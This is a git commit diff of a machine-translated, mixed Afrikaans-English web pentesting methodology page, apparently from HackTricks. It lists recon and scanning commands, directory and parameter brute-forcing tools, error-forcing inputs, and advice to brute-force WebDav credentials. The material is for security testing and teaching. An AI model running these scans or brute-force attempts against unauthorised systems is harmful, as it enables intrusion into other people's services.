Translated ['src/network-services-pentesting/pentesting-web/sitecore/REA

This commit is contained in:
Translator 2025-09-08 03:17:29 +00:00
parent f0f0658741
commit 0fcb8f828d
5 changed files with 507 additions and 260 deletions

View File

@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -4,9 +4,9 @@
## Basiese Inligting
Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende soorte kwesbaarhede**.
Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**.
**Standaard port:** 80 (HTTP), 443(HTTPS)
**Standaardpoort:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,55 +17,55 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API Riglyne
### Web API Guidance
{{#ref}}
web-api-pentesting.md
{{#endref}}
## Metodologie-opsomming
## Metodologie opsomming
> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) en slegs dit gaan aanval. Dus moet jy hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n onbepaalde webbediener binne die scope.
> In hierdie metodologie gaan ons aanvaar dat jy 'n aanval op 'n domain (of subdomain) en net daardie een gaan uitvoer. Dus, jy moet hierdie metodologie toepas op elke ontdekte domain, subdomain of IP met onbepaalde web server binne die scope.
- [ ] Begin deur die **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek **truuks** om gedurende die res van die toets in gedagte te hou as jy die tegnologie suksesvol kan identifiseer.
- [ ] Enige **bekende vulnerabilities** in die weergawe van die tegnologie?
- [ ] Gebruik jy enige **well known tech**? Enige **useful trick** om meer inligting te onttrek?
- [ ] Enige **specialised scanner** om te laat loop (soos wpscan)?
- [ ] Start **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting sal blootlê nie.
- [ ] Begin deur die **identifiseer** die **tegnologieë** wat deur die web server gebruik word. Kyk vir **tricks** om gedurende die res van die toets in gedagte te hou as jy die tech suksesvol kan identifiseer.
- [ ] Enige **known vulnerability** van die weergawe van die tegnologie?
- [ ] Gebruik enige **well known tech**? Enige **useful trick** om meer inligting te onttrek?
- [ ] Enige **specialised scanner** om te loods (soos wpscan)?
- [ ] Begin met **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting gaan ontsluit nie.
- [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (if HTTPS).
- [ ] Begin **spidering** van die webblad: dit is tyd om alle moontlike **files, folders** en **parameters being used** te **find**. Kontroleer ook vir **special findings**.
- [ ] _Let daarop dat elke keer wanneer 'n nuwe gids tydens brute-forcing of spidering ontdek word, dit gespider moet word._
- [ ] **Directory Brute-Forcing**: Probeer om alle ontdekte gidse te brute-force om na nuwe **files** en **directories** te soek.
- [ ] _Let daarop dat elke keer wanneer 'n nuwe gids tydens brute-forcing of spidering ontdek word, dit Brute-Forced moet word._
- [ ] **Backups checking**: Toets of jy **backups** van **discovered files** kan vind deur algemene backup-uitbreidings aan te heg.
- [ ] **Brute-Force parameters**: Probeer om **find hidden parameters**.
- [ ] Sodra jy al die moontlike **endpoints** wat **user input** aanvaar, **identified** het, kyk na alle soorte **vulnerabilities** wat daarmee verband hou.
- [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Begin **spidering** die web page: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind.** Kyk ook vir **special findings**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: Probeer om alle ontdekte folders te Brute-Force en soek na nuwe **files** en **directories**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte files** kan vind deur algemene backup extensies by te voeg.
- [ ] **Brute-Force parameters**: Probeer om **hidden parameters** te **vind**.
- [ ] Sodra jy alle moontlike **endpoints** wat **user input** aanvaar geïdentifiseer het, kyk na alle soorte **vulnerabilities** wat daarmee verband hou.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Bedienerweergawe (Kwetsbaar?)
## Server-weergawe (Kwetsbaar?)
### Identifiseer
Kontroleer of daar **bekende vulnerabilities** vir die bediener **weergawe** wat loop is.\
Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap scan** kan die bedienerweergawe identifiseer, maar die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
Kyk of daar **known vulnerabilities** is vir die server **version** wat loop.\
Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **technologies** en/of **version** wat gebruik word te **identifiseer**. **Nmap scan** kan die server version identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**kwesbaarhede van die webtoepassing weergawe**](../../generic-hacking/search-exploits.md)
Soek **na** [**vulnerabilities of the web application version**](../../generic-hacking/search-exploits.md)
### **Check if any WAF**
### **Kyk of daar enige WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web tech tricks
### Web tegniese truuks
Sommige **truuks** om **kwesbaarhede te vind** in verskillende goed-bekende **tegnologieë** wat gebruik word:
Sommige **tricks** for **finding vulnerabilities** in verskillende bekende **technologies** wat gebruik word:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -100,28 +100,30 @@ Sommige **truuks** om **kwesbaarhede te vind** in verskillende goed-bekende **te
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
Neem in ag dat dieselfde **domein** verskillende **tegnologieë** op verskillende **poorte**, **gidse** en **subdomeine** kan gebruik.\
As die webtoepassing enige welbekende **tegnologie/platform** gebruik wat hierbo gelys is of enige ander, moenie vergeet om op die Internet na nuwe truuks te soek (en laat weet my!).
_Neem in ag dat die **same domain** verskillende **technologies** in verskillende **ports**, **folders** en **subdomains** kan gebruik._\
As die web application enige bekende **tech/platform listed before** of **any other** gebruik, moenie vergeet om op die Internet te **search on the Internet** na nuwe tricks (en laat weet my!).
### Source Code Review
As die **bronkode** van die toepassing op **github** beskikbaar is, benewens om self 'n White box test van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**:
As die **source code** van die toepassing op **github** beskikbaar is, benewens om deur **your own a White box test** van die toepassing te gaan, is daar **some information** wat nuttig kan wees vir die huidige **Black-Box testing**:
- Is daar 'n **Change-log or Readme or Version** file of enigiets met **version info accessible** via web?
- Hoe en waar word die **credentials** gestoor? Is daar enige (accessible?) **file** met credentials (usernames or passwords)?
- Is dit **passwords** in **plain text**, **encrypted** of watter **hashing algorithm** word gebruik?
- Gebruik dit enige **master key** vir die enkripsie van iets? Watter **algorithm** word gebruik?
- Kan jy **access any of these files** deur 'n vulnerability uit te buit?
- Is daar enige **interesting information in the github** (solved and not solved) **issues**? Of in die **commit history** (miskien is daar 'n **password introduced inside an old commit**)?
- Is daar 'n **Change-log of Readme of Version** lêer of enigiets met **weergawe-inligting** wat via die web toeganklik is?
- Hoe en waar word die **credentials** gestoor? Is daar enige (toeganklike?) **lêer** met credentials (gebruikersname of wagwoorde)?
- Is **wagwoorde** in **plain text**, **encrypted** of watter **hashing algoritme** word gebruik?
- Gebruik dit enige **master key** om iets te enkripteer? Watter **algoritme** word gebruik?
- Kan jy enige van hierdie lêers bekom deur 'n kwesbaarheid uit te buit?
- Is daar enige interessante inligting in die github (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien is 'n wagwoord in 'n ou commit ingevoer)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Automatic scanners
### Outomatiese skanners
#### General purpose automatic scanners
#### Algemene doel outomatiese skanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,12 +137,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS-skandeerders
As 'n CMS gebruik word, moenie vergeet om **run a scanner** nie — dalk vind jy iets sappigs:
As 'n CMS gebruik word, moenie vergeet om 'n **skandeerder te laat loop** nie — miskien word iets interessant gevind:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir sekuriteitsprobleme. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir Security issues. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **of** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -148,13 +150,13 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Op hierdie punt behoort jy reeds 'n bietjie inligting te hê oor die webbediener wat deur die kliënt gebruik word (indien enige data gegee is) en 'n paar wenke om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n scanner laat loop.
> Op hierdie stadium behoort jy reeds sekere inligting oor die webbediener te hê wat deur die kliënt gebruik word (indien enige data verskaf is) en 'n paar truuks om tydens die toets in gedagte te hou. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n scanner laat loop.
## Stap-vir-stap Webtoepassing-ontdekking
> Vanaf hierdie punt gaan ons begin met interaksie met die webtoepassing.
> Vanaf hierdie punt gaan ons begin om met die webtoepassing te kommunikeer.
### Aanvanklike kontrole
### Aanvangskontroles
**Standaard bladsye met interessante inligting:**
@ -163,30 +165,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Kontroleer ook kommentare in die hoof- en sekondêre bladsye.
- Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
**Foute afdwing**
Webbedieners kan **onvoorspelbaar optree** wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** ontsluit of die **onthulling van sensitiewe inligting** veroorsaak.
Webbedieners kan **onverwagse gedrag** vertoon wanneer vreemde data aan hulle gestuur word. Dit kan **kwesbaarhede** oopmaak of **sensitiewe inligting openbaar**.
- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.etc)
- **Voeg "\[]", "]]", en "\[\["** by **cookie values** en **parameter values** om foute te skep
- Genereer 'n fout deur inset as **`/~randomthing/%s`** by die **end** van die **URL** te gee
- Gaan na **vals bladsye** soos /whatever_fake.php (.aspx,.html,.etc)
- **Voeg "\[]", "]]", en "\[["** in **cookie values** en **parameter values** in om foute te veroorsaak
- Genereer 'n fout deur invoer te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of verkeerde soos FAKE
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **Kontroleer of jy kan lêers oplaai (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
As jy vind dat **WebDav** **ingeskakel** is maar jy het nie genoeg toestemmings om **lêers op te laai** in die root-lêergids nie, probeer om:
As jy vind dat **WebDav** geaktiveer is maar jy het nie genoeg toestemmings om **lêers in die root-gids** op te laai nie, probeer om:
- **Brute Force** credentials
- **Upload files** via WebDav na die **res** van die **found folders** binne die webblad. Jy mag dalk toestemmings hê om lêers in ander vouers op te laai.
- **Upload files** via WebDav na die **oorblywende** van die **gevonde gidse** binne die webblad. Jy mag toestemmings hê om lêers in ander gidse op te laai.
### **SSL/TLS vulnerabilites**
### **SSL/TLS kwesbaarhede**
- As die toepassing **nie die gebruiker tot HTTPS dwing** in enige deel nie, is dit **vatbaar vir MitM**
- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
- As die toepassing **nie die gebruiker in enige deel dwing om HTTPS te gebruik** nie, is dit **kwesbaar vir MitM**
- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**, is dit 'n hoë kwesbaarheid.
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty programs waarskynlik hierdie soort kwesbaarhede nie aanvaar sal word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)to herkontroleer die kwesbaarhede:
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om na **kwesbaarhede** te kyk (in Bug Bounty-programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die kwesbaarhede te herkontroleer:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -195,58 +197,58 @@ Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir *
sslscan <host:port>
sslyze --regular <ip:port>
```
Inligting oor SSL/TLS kwetsbaarhede:
Inligting oor SSL/TLS-kwesbaarhede:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Start 'n soort **spider** binne die web. Die doel van die spider is om soveel moontlike paaie van die getoetste toepassing te **vind**. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldig paaie as moontlik te ontdek.
Begin 'n soort **spider** op die web. Die doel van die **spider** is om **soveel paadjies as moontlik te vind** vanaf die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paadjies as moontlik te ontdek.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, met LinkFinder vir JS files en Archive.org as eksterne bron.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook by Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie maar kan nuttig wees. Jy kan 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host haal en die response stoor.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie.
- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie script sal URLs met parameters vind en hulle lys.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS rendering vermoëns.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit is ook die moeite werd om [JSScanner](https://github.com/dark-warlord14/JSScanner) te bekyk, wat 'n wrapper van LinkFinder is.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML source en embedded javascript files. Nuttig vir bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 script wat Tornado en JSBeautifier gebruik om relatiewe URLs uit JavaScript files te parse. Nuttig om AJAX requests maklik te ontdek. Lyk ononderhou.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URLs onttrek met 'n netjiese regular expression om relatiewe URLs uit lelike (minified) files te haal.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Versamel interessante inligting uit JS files deur verskeie tools te gebruik.
- [**subjs**](https://github.com/lc/subjs) (go): Vind JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gelaai is om die bladsy te laai.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Soek ook in Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host ophaal en die response stoor.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit ononderhou is; die vooraf-gekompileerde weergawe is oud en die huidige kode kompileer nie.
- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URLs met parameters vind en dit lys.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paadjies in JS-lêers kan soek. Dit is ook die moeite werd om [JSScanner](https://github.com/dark-warlord14/JSScanner), wat 'n wrapper van LinkFinder is, te bekyk.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML-bron en ingesluit javascript-lêers. Nuttig vir bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URLs uit JavaScript-lêers te parse. Nuttig om AJAX-aanvraag maklik te ontdek. Lyk ononderhou.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URLs onttrek met 'n netjiese regular expression om relatiewe URLs uit verrommelde (minified) lêers te kry.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie tools): Versamel interessante inligting uit JS-lêers deur verskeie tools te gebruik.
- [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gelaai word om die bladsy te laai.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools meng.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om paaie en params in JS files te vind.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Tool wat, gegewe die .js.map URL, die beautified JS kode vir jou sal kry.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie tool word gebruik om endpoints vir 'n gegewe target te ontdek.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback machine (laai ook responses af van die wayback en soek meer skakels).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur vorms in te vul) en vind ook sensitiewe info met spesifieke regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir kuberveiligheid professionele persone.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets en ander interessante data uit JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **parameters en endpoints te onttrek** uit requests om 'n pasgemaakte wordlist vir fuzzing en enumerasie te skep.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Geweldige tool hiervoor.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat hy kan vind.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om paths en params in JS-lêers te vind.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat, gegee die .js.map URL, die beautified JS-kode sal kry.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie tool word gebruik om endpoints vir 'n gegewe doelwit te ontdek.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links uit die wayback machine (laai ook die responses in die wayback af en soek meer links).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur vorms in te vul) en vind ook sensitiewe inligting gebruikende spesifieke regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir cyber security professionele.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 'n Go pakket en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URLs, paths, secrets en ander interessante data uit JavaScript-bronkode te onttrek.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **paramters en endpoints** uit die requests te onttrek om 'n custom wordlist vir fuzzing en enumerasie te skep.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool hiervoor.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke link wat dit kan vind.
### Brute Force directories and files
Begin met **brute-forcing** vanaf die root-gids en maak seker om **al** die **directories wat gevind is** te brute-force deur **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit **rekursief** brute-force en by die begin van die gebruikte wordlist die name van die gevonde directories aanhang).\
Begin met **brute-forcing** vanaf die root-gids en maak seker om **al** die **gevonde directories** te brute-force met **dié metode** en alle directories wat deur die **Spidering** ontdek is (jy kan dit **rekursief** doen en aan die begin van die gebruikte wordlist die name van die gevonde directories toevoeg).\
Tools:
- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **lanksaam**) maar funksioneel. Ondersteun self-ondertekende sertifikate en rekursiewe soektog. Te stadig vergeleke met die ander opsies.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit ondersteun nie self-ondertekende sertifikate nie maar** laat rekursiewe soektog toe.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit ondersteun self-ondertekende sertifikate, dit **het nie** rekursiewe soektog nie.
- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Ondersteun self-getekende sertifikate en rekursiewe soektog. Baie stadiger vergeleke met die ander opsies.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-getekende sertifikate toe nie maar** ondersteun rekursiewe soektog.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Ondersteun self-getekende sertifikate, dit het egter **nie** 'n **rekursiewe** soektog nie.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinnig, ondersteun rekursiewe soektog.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinnig: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n tool wat, gegewe 'n lys van gevonde URLs, "gedupliseerde" URLs sal verwyder.
- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n hulpmiddel wat, gegee die lys van gevonde URLs, "gedupliseerde" URLs sal verwyder.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys van directories te skep vanaf die burp history van verskeie bladsye.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URLs met gedupliseerde funksionaliteite (gebaseer op js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te identifiseer en die wordlists te kies wat gebruik moet word.
- [**Chamaleon**](https://github.com/iustin24/chameleon): Gebruik wapalyzer om gebruikte tegnologieë te ontdek en kies die woordlyste om te gebruik.
**Aanbevole woordlyste:**
@ -267,41 +269,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Let wel: enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, behoort dit Brute-Forced te word._
Let wel dat elke keer as 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit weer Brute-Forced moet word.
### What to check on each file found
### Wat om op elke gevonde lêer te kontroleer
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTMLs wat vatbaar kan wees vir takeovers.
- **File Backups**: Sodra jy al die files gevind het, soek na backups van al die uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die naam van 'n backup is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. Indien moontlik, probeer om verborge parameters op elke uitvoerbare web-lêer te soek.**
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat vatbaar kan wees vir takeovers.
- **File Backups**: Sodra jy al die lêers gevind het, soek vir rugsteunweergawes van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. Indien moontlik, probeer om versteekte parameters op elke uitvoerbare web-lêer te soek.**
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
